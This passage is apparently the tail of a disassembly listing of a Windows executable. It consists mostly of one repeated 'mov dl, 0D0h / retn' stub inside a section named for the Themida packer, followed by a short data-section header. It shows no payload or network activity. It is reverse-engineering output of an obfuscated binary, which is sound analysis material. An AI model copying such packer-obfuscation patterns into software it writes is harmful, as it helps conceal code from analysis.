; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		mov	dl, 0D0h
		retn
; ---------------------------------------------------------------------------
		db 0E4h
		dd 100h	dup(0E3342F80h), 88CF2F80h, 137h dup(88CFF608h)
		dd 0CCCCCC08h, 8E1h dup(0CCCCCCCCh), 0CCCCCCh, 3D7h dup(0)
Themida_	ends

; Section 5. (virtual address 001BD000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001BD000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5BD000h
		align 2000h
_idata2		ends


		end start